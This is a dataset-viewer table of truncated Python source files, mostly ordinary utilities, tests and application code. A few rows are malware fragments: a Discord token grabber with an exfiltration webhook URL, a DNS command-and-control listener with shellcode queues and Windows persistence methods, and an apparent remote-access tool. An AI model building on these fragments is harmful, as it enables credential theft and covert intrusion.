source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
prepare.py | #!/usr/bin/env python2.7
# pylint: disable=bad-indentation, no-member, invalid-name, line-too-long
import os
os.environ['LMBD_FORCE_CFFI'] = '1'
import shutil
import random
import argparse
import multiprocessing
import cv2
import lmdb
import caffe
import numpy as np
import pdb
import functools
import sys
#reload(sys)
... |
webcam.py | # Copyright 2017 The TensorFlow Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... |
uzm_util.py | #coding=utf-8
#created by SamLee 2020/3/6
import os
import sys
import math
from elftools.elf.elffile import ELFFile
import zipfile
import tempfile
import shutil
import struct
import entropy
from concurrent.futures import ThreadPoolExecutor
import threading
from queue import Queue
import time
import multiprocessing
imp... |
util.py | # Electrum - lightweight Bitcoin client
# Copyright (C) 2011 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights t... |
messenger_tests.py | #!/usr/bin/env python
import bootstrap
from multiprocessing import Process, Pipe
import unittest
import time
import unittest
from nark import *
class MessengerTests(unittest.TestCase):
def test_can_create_instances(self):
a, lm, rm = self.setup()
a.not_null(lm, "Failed to create local messenger")
... |
counter_test.py | #!/usr/bin/env python3
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
wsdump.py | #!/Users/guillaume/MyProjects/PythonProjects/ProgrammingProject/AlgoTrading/web-app-sentiment-analysis/venv/bin/python3
import argparse
import code
import sys
import threading
import time
import ssl
import gzip
import zlib
import six
from six.moves.urllib.parse import urlparse
import websocket
try:
import readl... |
web.py | # Electrum - lightweight Bitcoin client
# Copyright (C) 2011 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights t... |
joy_detection_demo.py | #!/usr/bin/env python3
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
client.py | import os, sys, time, re, io
import threading, subprocess
import json, xml.dom.minidom, mimetypes
import copy, pickle
import requests
from . import config, storage, out, tools
BASE_URL = config.BASE_URL
QR_DIR = 'QR.jpg'
class client(object):
def __init__(self):
self.storageClass = storage... |
server.py | import os
import threading
from requests_oauthlib import OAuth2Session
from flask import Flask, request, redirect
from client import web_url
from example import data_from_resource_server
# to make oauth2 work with http
os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'
# config
client_id = 'your_app_id_here'
client_sec... |
_optimize.py | from concurrent.futures import FIRST_COMPLETED
from concurrent.futures import Future
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import wait
import datetime
import gc
import itertools
import os
import sys
from threading import Event
from threading import Thread
from typing import Any
from ... |
test_debugger_json.py | # coding: utf-8
from collections import namedtuple
import json
from os.path import normcase
import os.path
import sys
import time
import pytest
from _pydev_bundle.pydev_localhost import get_socket_name
from _pydevd_bundle._debug_adapter import pydevd_schema, pydevd_base_schema
from _pydevd_bundle._debug_adapter.pydev... |
stockbot-git.py | import requests
import threading
import time
from bsedata.bse import BSE
mutex=threading.Lock()
stock_api=BSE()
def handler(response):
query=response['result'][0]['message']['text']
sender=response['result'][0]['message']['chat']['id']
query=query.split(" ")
if len(query)!=2:
return
if query[0]=="/price" an... |
test_pooling.py | # Copyright 2009-2014 MongoDB, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writin... |
mock_apivoidhttpserver.py | import socket
try: #Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse as urlparse
except ImportError: #Python 2.7
from BaseHTTPServer import HTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
import urlparse
from threading import Thread
import... |
check_local_network.py |
import sys
import os
import httplib
import time
import socket
import threading
current_path = os.path.dirname(os.path.abspath(__file__))
if __name__ == "__main__":
python_path = os.path.abspath( os.path.join(current_path, os.pardir, os.pardir, 'python27', '1.0'))
noarch_lib = os.path.abspath( os.path.join(... |
for_cvf.py | import os
from code.utils.url import get_response
from code.spider.for_cvf import in_root_page, in_conf_page, in_home_page, in_item_page
from code.utils.file import my_abspath, read, write
import threading
import math
def parse_from_item_page(item_ls, i):
"""
到对应的 item=item_ls[i] 中,访问 item["source_online"... |
MyMusicApi.py | import json
from MyMusic.private import kuwo, netease, kugou, qq,migu
import threading
import queue
pings = [
kugou.search,
kuwo.search,
# netease.search,
qq.search,
migu.search
]
class MyMusicApi:
def search(self,keyword):
th=[]
allSongQueue=queue.Queue()
allSongList=... |
sublime_text.py | import os
from .system import SYSTEM
BUILD_SYSTEM="""
{
"working_dir": "${folder}",
"target": "StatisKit",
"file_regex": "^\\\\[Build error - file \\"(...*?)\\" at line ([0-9]*), (.*)\\\\]$",
"linux":
{
"cmd": "bash -c 'source {{ PREFIX }}/bin/activate {{ ENVIRONMENT }} && scons autowig... |
test_http.py | import json
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
import pytest
from testplan.testing import multitest
from testplan import TestplanMock
from testplan.common.utils.testing import argv_overridden
from testplan.exporters.testing import HTTPExporter
class PostHandler(BaseHTTPReque... |
execution.py | """
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
Ontology Engineering Group
http://www.oeg-upm.net/
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
Copyright (C) 2016 Ontology Engineering Group.
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-... |
snake_pygame_worker.py |
# This is the code of the worker part of the Sink Operation. Here the user needs to write most of the code in order to
# define the Operation's functionality.
# <editor-fold desc="The following 6 lines of code are required to allow Heron to be able to see the Operation without
# package installation. Do not chan... |
channel.py | #! /bin/python3
from os import error, wait
from queue import Queue
import threading
import socket
import random
from bitstring import BitArray
from packet import *
import time
global configs, s, do
global pushq, getq, delayq
do: bool
def listener():
global do
pushq, s
while do:
try:
p... |
multi_process_runner.py | # Lint as: python3
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... |
DNSListener.py | from dnslib import *
import socket
import time
import threading
import cmd
interactedAgent = ""
activeAgents = []
agentCommands = {}
agentData = {}
agentTimes = {}
agentShellcode = {}
persistenceMethods = {"runkey":1,"logonscript":2,"exceladdin":3}
def sendTask(agent,command):
agentCommands[agent].append([comma... |
server.py | import socket
import threading
import sys
from queue import Queue
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from random import randint
import secrets
import hashlib
print("""
███╗░░░███╗██╗░░░██╗██╗░░░░░████████╗██╗ ░█████╗░██╗░░░░░██╗███████╗███╗░░██╗████████╗
████╗░████║██║░░░██║██║... |
networking.py | """
Defines helper methods useful for setting up ports, launching servers, and
creating tunnels.
"""
from __future__ import annotations
import os
import socket
import threading
import time
import warnings
from typing import TYPE_CHECKING, Optional, Tuple
import fastapi
import requests
import uvicorn
... |
fermonitor.py | # MIT License
#
# Copyright (c) 2019 Michael Schmidt
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modi... |
_nixcommon.py | # -*- coding: utf-8 -*-
import struct
import os
import atexit
from time import time as now
from threading import Thread
from glob import glob
try:
from queue import Queue
except ImportError:
from Queue import Queue
event_bin_format = 'llHHI'
# Taken from include/linux/input.h
# https://www.kernel.org/doc/Docu... |
rollout_server.py | import time
import torch
import zmq
import json
import threading
import numpy as np
import datetime
from collections import deque
from td3 import TD3
import multiprocessing
FRAME_STACKING = 4
ACT_SIZE = 8
OBS_SIZE = 29 * FRAME_STACKING
ctx = zmq.Context()
act_pub = ctx.socket(zmq.PUB)
act_pub.connect('tcp://localh... |
main.py | from global_utils import print_summary
from options import parse_options
from global_utils import set_global_seed, save_performance, plot_data
import time
from agent_env_params import design_agent_and_env
from multiprocessing import Process
import random
from environment import Environment
from agent import A... |
removetestdevicesLocal.py | N = 3200
from queue import Queue, Empty
import requests
from bemoss_lib.utils.BEMOSS_ONTOLOGY import BEMOSS_ONTOLOGY
from bemoss_lib.utils.db_helper import db_connection,actual_db_connection
import threading
import time
import json
import datetime
devname = 'thermo'
from DeviceAPI.API_VirtualThermostat import API
de... |
server.py | # Description: Server
import ssl
import socket
from os import path
from lib import const
from time import sleep
from queue import Queue
from OpenSSL import crypto
from random import SystemRandom
from threading import Thread, RLock
from . lib import session, shell, interface
class Server(object):
... |
event_based_scheduler_job.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
torsiondriveserver.py | #!/usr/bin/env python3
from QUBEKit.utils.constants import ANGS_TO_BOHR
import os
from multiprocessing import current_process, Process, Queue
import queue
from geometric.engine import OpenMM
from geometric.internal import DelocalizedInternalCoordinates
from geometric.molecule import Molecule
from geometric.optimize ... |
dist-k-means.py | import itertools
import random
from multiprocessing import Process, Array, Manager
import multiprocessing as mp
import time
import matplotlib.pyplot as plt
from collections import OrderedDict
import numpy as np
manager = Manager()
class KMeansAlgorithm(object):
def __init__(self, num_clusters, max_iter=1000, ep... |
Streamer.py | import time
from threading import Lock, Event, Thread
import cv2
from src.camera.Frame import Frame
from src.utils.PubSub import PubSub
from src.utils.injection.decorator import inject
class Streamer:
"""
A streamer utility to continuously retrieve frames from PubSub
and send them over M-JPEG protocol u... |
listener.py | #! /usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
import os
import json
import datetime
import threading
import requests
import typing as t
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class _Handler(BaseHTTPRequestHandler):
"""
Request hand... |
data_reduction.py | """Make images using CASA."""
import os
import argparse
from os.path import isdir
import drivecasa
#import threading
from threading import Thread
import numpy
import math
import shutil
import time
import multiprocessing
#Define a function for the thread
def casa_imaging(ms_file, Nfacet, NID):
casa = drivecasa.Ca... |
power_monitoring.py | import datetime
import random
import threading
import time
from statistics import mean
from cereal import log
from selfdrive.swaglog import cloudlog
PANDA_OUTPUT_VOLTAGE = 5.28
# Parameters
def get_battery_capacity():
return _read_param("/sys/class/power_supply/battery/capacity", int)
def get_battery_status():
... |
test_io.py | """Unit tests for the io module."""
# Tests of io are scattered over the test suite:
# * test_bufio - tests file buffering
# * test_memoryio - tests BytesIO and StringIO
# * test_fileio - tests FileIO
# * test_file - tests the file interface
# * test_io - tests everything else in the io module
# * test_univnewlines - ... |
dispatcher.py | """GRPC client.
Implements loading and execution of Python workers.
"""
import asyncio
import concurrent.futures
import logging
import queue
import threading
import os
import sys
import importlib
import grpc
import pkg_resources
from . import bindings
from . import functions
from . import loader
from . import proto... |
delay_server.py | # coding=utf-8
# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import absolute_import, division, print_function, unicode_literals
import threading
import time
from six.moves import SimpleHTTPServer, socketserver
def ... |
ooniprobe.py | #!/usr/bin/env python
import webbrowser
from multiprocessing import Process
from twisted.internet import task, defer
def ooniprobe(reactor):
from ooni.ui.cli import runWithDaemonDirector, runWithDirector
from ooni.ui.cli import setupGlobalOptions, initializeOoniprobe
from ooni.settings import config
... |
virshbmc.py | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under th... |
Threads.py | from threading import Thread
from src import HourlyCheck
def startThreads(url, inputText):
"""
Start the hourly threads.
"""
# start the hourly check thread
every_hour_plus_1minute_thread = Thread(target=HourlyCheck.everyHourCheck_OneMinuteDelay, args=(url, inputText))
every_hour_plus_1minute... |
enviandoArduino_v2.py | import serial
import threading
import time
conectado = False
desligarArduinoThread = False
mensagensRecebidas = 1
serialArduino = 0
# posso criar inputs para esses parâmetros
portaCOM = 'COM5'
velocidadeBaud = 115200
# Se isso for válido, entra aqui
try:
# Comunicação com a serial
serialArduino = serial.Seri... |
main.py | #!/usr/bin/env python
import homie
import logging
import string
import threading
import json
import hashlib
import uuid
import time
import urllib.request, urllib.error, urllib.parse
logging.basicConfig(level=logging.INFO)
logging.getLogger("urllib3").setLevel(logging.WARNING)
logger = logging.getLogger(__name__)
conf... |
cityscapes_mIoU.py | import math
import os
import threading
import numpy as np
import torch
import torch.nn as nn
from PIL import Image
from torch.utils.data import Dataset, DataLoader
from . import drn
class FromArray(object):
def __init__(self, size):
self.size = size
def __call__(self, image_numpy, label):
i... |
test_stack.py | import os
import threading
import time
import timeit
import pytest
from ddtrace.vendor import six
from ddtrace.vendor.six.moves import _thread
from ddtrace.profile import recorder
from ddtrace.profile.collector import stack
from . import test_collector
TESTING_GEVENT = os.getenv("DD_PROFILE_TEST_GEVENT", False)
t... |
archiver.py | import argparse
import dateutil.tz
import errno
import io
import json
import logging
import os
import pstats
import random
import re
import shutil
import socket
import stat
import subprocess
import sys
import tempfile
import time
import unittest
from binascii import unhexlify, b2a_base64, a2b_base64
from configparser i... |
watchdog.py | from typing import List, Optional
from apscheduler.schedulers.blocking import BlockingScheduler
from apscheduler.triggers.interval import IntervalTrigger
from dataclasses import dataclass
from threading import Thread
from wechaty_puppet import get_logger
from config import *
from db import JsonDB
import socket
... |
download.py | import pdb
import optparse
import queue as Queue
from threading import Thread
import requests
def parser():
parser = optparse.OptionParser('usage%prog ' + '-P <proxy>')
parser.add_option('-P', dest='proxy', type='string', help='specify proxy host')
(options, args) = parser.parse_args()
return options... |
fitacola.py | from functools import reduce, wraps
from importlib import import_module
import threading
try:
import gevent
has_gevent=True
except ImportError:
has_gevent=False
def import_string(dotted_path):
"""Import a dotted module path and return the attribute/class designated by the
last name in the path. R... |
test_util.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
custom.py | # pylint: disable=too-many-lines
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# -----------------------------------... |
tool.py | import socket
import os
import subprocess
import threading
import sys
import time
from os import system, name
ADDRESS = '0.0.0.0'
PORT = 5050
def clear():
if name == 'nt':
_ = system('cls')
else:
_ = system('clear')
def create_file(s):
print("Welcome to the file creation tool!")
... |
comparison-request.py | #!/usr/bin/env python
# coding: utf-8
# In[1]:
import os
import threading
from queue import Queue
import requests
import tensorflow as tf
import model
# In[4]:
get_ipython().run_cell_magic(
"time",
"",
'tf.reset_default_graph()\nsess = tf.InteractiveSession()\nmodel.Model(3, 256, 64, 2, 0.0001)\nses... |
dmap.py | import numpy as np
from multiprocessing import Process, Queue
from frame import pose_rt
import g2o # requires user to install additional requirements from readme
import pangolin
import OpenGL.GL as gl
import sys
LOCAL_WINDOW = 20
# class for the Map object
class Map(object):
def __init__(self):
self.frame... |
bgflatprocessor.py | ###############################################################################
# Background, Flatfield and White Balance Processor
# Urs Utzinger 2022
###############################################################################
###############################################################################
# Impor... |
docker_test.py | # Copyright 2016 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... |
ONGAKU.py | ## Importing all the neccesary modules.`````````````
from tkinter import *
from tkinter import filedialog
from tkinter import messagebox as mb
import os
from pygame import mixer
from tkinter import ttk
from ttkthemes import themed_tk as tk
from mutagen.mp3 import MP3
from mutagen.id3 import ID3
import threadi... |
context.py | #!/usr/bin/env python3
from http import HTTPStatus
from socketserver import ThreadingMixIn
from urllib.parse import urlparse
from ruamel.yaml.comments import CommentedMap as OrderedDict # to avoid '!!omap' in yaml
import threading
import http.server
import json
import queue
import socket
import subprocess
import time
... |
async.py | # This file is part of the Hotwire Shell project API.
# Copyright (C) 2007 Colin Walters <walters@verbum.org>
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, includin... |
bridge.py | #!/usr/bin/env python
#
# Copyright (c) 2018-2020 Intel Corporation
#
# This work is licensed under the terms of the MIT license.
# For a copy, see <https://opensource.org/licenses/MIT>.
#
"""
Rosbridge class:
Class that handle communication between CARLA and ROS
"""
try:
import queue
except ImportError:
impor... |
slp_slpdb_validator.py | import json
import requests
import base64
import threading
from electroncash.slp_graph_search import slp_gs_mgr
from .util import PrintError
class SLPDBValidationJob(PrintError):
def __init__(self, txid, number_of_validations_needed, callback):
self.txid = txid
self.number_of_validations_needed =... |
aiohttp_.py | """
This module defines an :py:class:`aiohttp.ClientSession` adapter
that returns awaitable responses.
"""
# Standard library imports
import asyncio
import collections
import inspect
import threading
from concurrent import futures
# Third-party imports
try:
import aiohttp
except ImportError: # pragma: no cover
... |
udp_server_test.py | import time
import socket
from src.server.udp_server import serverUDP
from src.structure.sensors_data_manager import SensorDataList
import threading
# data
sensor_list = SensorDataList()
server = serverUDP("127.0.0.1", 7070)
# server
def runserver():
for i in range(0, 10):
sensor_list.add_sensor("temp", ... |
engine.py | """
"""
import logging
import smtplib
from abc import ABC
from datetime import datetime
from email.message import EmailMessage
from queue import Empty, Queue
from threading import Thread
from typing import Any
from vnpy.event import Event, EventEngine
from .app import BaseApp
from .event import (
EVENT_TICK,
... |
test_testing.py | import os
import os.path
import gzip
import threading
import time
import pytest
import pyndows
from pyndows.testing import samba_mock, SMBConnectionMock, try_get
def test_connection_can_be_used_as_context_manager(samba_mock: SMBConnectionMock):
with pyndows.connect(
"TestComputer", "127.0.0.1", 80, "Tes... |
server.py | from socket import *
from simulate_database import *
from tools import *
import json
import threading
import time
import queue
# <-----------自构数据库----------->
# 获取用户列表
user_list = userlist
# 获取群组列表
group_list = grouplist
class Server():
def __init__(self):
self.host_ip = "127.0.0.1"
self.host_po... |
test.py | import os
# import pygame
from mutagen.mp3 import MP3
import time
from classuiui import MyFrame1
import wx
# import thread
import threading
import multiprocessing
from playsound import playsound
from test001 import MyFrame1
# file="cd&&cd music&&cd&&StarSky.mp3"
# os.system(file)
# pygame.mixer.init()
# audio = MP3("... |
tasks.py | import os
import sys
import fcntl
import datetime
import json
import re
import time
import zipfile
import threading
import hashlib
import shutil
import subprocess
import pprint
import random
from invoke import task
import boto3
import botocore.exceptions
import multiprocessing
import io
import ai2thor.build
import logg... |
multi_ros_gazebo_env.py | import sys
import socket
import psutil
import subprocess
import multiprocessing
import threading
import time
import os
import signal
import traceback
from robolearn.old_envs.gazebo_ros_env_interface import GazeboROSEnvInterface
init_roscore_port = 11312
init_gzserver_port = 11347
class RosGazebo(multiprocessing.Pro... |
get_name_from_camera_feed.py | import face_recognition
import numpy as np
import cv2, queue, threading, time
import requests, os, re
# bufferless VideoCapture
class VideoCapture:
def __init__(self, name):
self.cap = cv2.VideoCapture(name)
self.q = queue.Queue()
t = threading.Thread(target=self._reader)
t.daemon =... |
Nameize.py | # :\\__ RBXNameize [Roblox Name Finder]
# :\\__ Viperize - MIT License
#--------------------------------------------------------------------------------
# | Imports
import requests, os, threading
from time import sleep
from random import choice
from datetime import datetime
#--------------------------------... |
test_distributed.py | # -*- coding: utf-8 -*-
# MegEngine is Licensed under the Apache License, Version 2.0 (the "License")
#
# Copyright (c) 2014-2020 Megvii Inc. All rights reserved.
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT ARRANTI... |
email.py | from threading import Thread
from flask import current_app
from flask_mail import Message
from app import mail
def send_async_email(app, msg):
with app.app_context():
app.logger.info("Sending email to: " + str(msg.recipients))
mail.send(msg)
def send_email(
subject, sender, recipients, tex... |
test_basic.py | import os
import numpy as np
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense
from multiprocessing import Process
def startTensorboard(logdir):
# Start tensorboard with system call
os.system("tensorboard --logdir {}".format(logdir))
def fitModel():
# Create your m... |
run_get_vec.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author : Joshua
@Time : 2020/6/16 5:15 下午
@File : run_get_vec.py
@Desc :
"""
from .test_we import redis_conn, wrap_key
import json
import sys
import pandas as pd
import numpy as np
import multiprocessing
def read_redis(res):
res = _redis.get(wrap_key... |
workbench.py | # -*- coding: utf-8 -*-
import os.path
import platform
import tkinter as tk
import tkinter.font as tk_font
import traceback
from logging import getLogger
from tkinter import messagebox, ttk
import ast
import collections
import importlib
import pkgutil
import queue
import re
import shutil
import socket
import sys
from... |
sqlite_web.py | #!/usr/bin/env python
import datetime
import math
import operator
import optparse
import os
import re
import sys
import threading
import time
import webbrowser
from collections import namedtuple, OrderedDict
from functools import wraps
from getpass import getpass
# Py3k compat.
if sys.version_info[0] == 3:
binary... |
detector_utils.py | # Utilities for object detector.
import numpy as np
import sys
import tensorflow as tf
import os
from threading import Thread
from datetime import datetime
import cv2
from utils import label_map_util
from collections import defaultdict
detection_graph = tf.Graph()
sys.path.append("..")
# score threshold for showing... |
rotaryencoder.py | #Heavily modified from SunFounder code: https://www.sunfounder.com/learn/Super_Kit_V2_for_RaspberryPi/lesson-8-rotary-encoder-super-kit-for-raspberrypi.html
import threading
import RPi.GPIO as GPIO
class RotaryEncoder:
_dtPin = 0
_clkPin = 0
_clockwiseCallback = None
_counterClockwiseCallback = None
_inputThread ... |
test_concurrent_futures.py | from test import support
from test.support import import_helper
from test.support import threading_helper
# Skip tests if _multiprocessing wasn't built.
import_helper.import_module('_multiprocessing')
from test.support import hashlib_helper
from test.support.script_helper import assert_python_ok
import contextlib
im... |
threads_func.py | #coding:utf-8
import data
import ssh
import sftp
import common
import time
import threading
def threads_connect(name,i):
ssh.create_conn(i)
sftp.create_conn(i)
print('\33[34m%d:\33[31m%s成功:%s(%s) \33[0m' %(i,name,data.servers[i]['name'],common.hideipFun(data.servers[i]['host'])))
def threads_handle(threa... |
main.py | #!/usr/bin/python3
import os
import sys
import socket
import time
import threading
import queue
import concurrent.futures
import asyncio
import multiprocessing
import configparser
import json
from pygtail import Pygtail
from loan_pb2 import MsgLog
g_bWindows = None
g_QPacket = queue.Queue()
g_LPacket = threading.Lo... |
test_client.py | from __future__ import annotations
import asyncio
import functools
import gc
import inspect
import logging
import os
import pickle
import random
import subprocess
import sys
import threading
import traceback
import types
import warnings
import weakref
import zipfile
from collections import deque
from collections.abc i... |
multi_ping2.py | #!/usr/bin/env python
import argparse
import shlex
import subprocess
import ipaddress
import re
import random
#from multiprocessing import Process
#from threading import Thread
import threading
BASE_IP='10.1.1.2'
NUM_THREADS=32
NUM_ITER=30
def get_ip_range(base_ip, num):
try:
base_ip = ipaddress.ip_addr... |
IPSocket.py | #! /usr/bin/python3
import threading
import socket
import queue
from IP.IPPacket import IPPacket
from Ethernet.Ethernet import EthernetSocket
class IPSocket:
LOCAL_HOST_IP="127.0.0.1"
def __init__(self, source_address):
self.is_connected=False
'''
self.send_socket=None
sel... |
_handler.py | import functools
import json
import multiprocessing
import string
import sys
import threading
import traceback
from ._ansimarkup import AnsiMarkup
class StrRecord(str):
__slots__ = ("record",)
class Handler:
def __init__(
self,
*,
name,
writer,
stopper,
level... |
run_k_truss_performance.py | import socket
from exec_utilities import time_out_util
from config import *
from exec_utilities.exec_utils import *
from multiprocessing import Process
def run_exp(env_tag=knl_tag, with_c_group=True, data_path_tag=k_truss_exec_path_tag):
hostname = socket.gethostname()
with open('config.json') as ifs:
... |
views.py | from wsgiref.util import FileWrapper
from django.core.serializers.json import DjangoJSONEncoder
from django.core.urlresolvers import reverse
from django.conf import settings
from django.contrib import messages
from django.contrib.auth import authenticate
from django.contrib.auth.decorators import login_required
from dj... |
search_cell_old.py | ##################################################
# Copyright (c) Xuanyi Dong [GitHub D-X-Y], 2020 #
######################################################################################
# python ./exps/NATS-algos/search-cell.py --dataset cifar10 --data_path $TORCH_HOME/cifar.python --algo darts_higher --rand_seed 7... |
bot.py | # -*- coding: utf-8 -*-
import os
import telebot
import time
import random
import threading
from emoji import emojize
from telebot import types
from pymongo import MongoClient
import traceback
token = os.environ['TELEGRAM_TOKEN']
bot = telebot.TeleBot(token)
games={}
#client=MongoClient(os.environ['database'])
#db=c... |
loader.py | # Copyright (c) 2017-present, Facebook, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... |
Token Grabber.py | import os, re, json, psutil, requests, threading
from urllib.request import Request, urlopen
from getmac import get_mac_address as gma
from json import loads, dumps
from base64 import b64decode
from re import findall
# Input your webhook here
userwh = "https://discord.com/api/webhooks/928272623148879912/Crv3KLB6DM4vsK... |
Map_Reduce.py | ########################################
# Author : Sumukha Rajapuram Mohan
# Big Data Assignment-1 due on 09/16/2017
import sys
from abc import ABCMeta, abstractmethod
from multiprocessing import Process, Manager
from pprint import pprint
import numpy as np
from random import random
import os #~~~~~~~~~~~~~... |
tracer.py | from multiprocessing import Process
from tempfile import TemporaryDirectory
from pathlib import Path
from sys import stderr
import os
import subprocess
import re
class Tracer:
def __init__(
self,
command_args,
syscall_callback,
follow_childs=True,
filter_syscalls="",
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.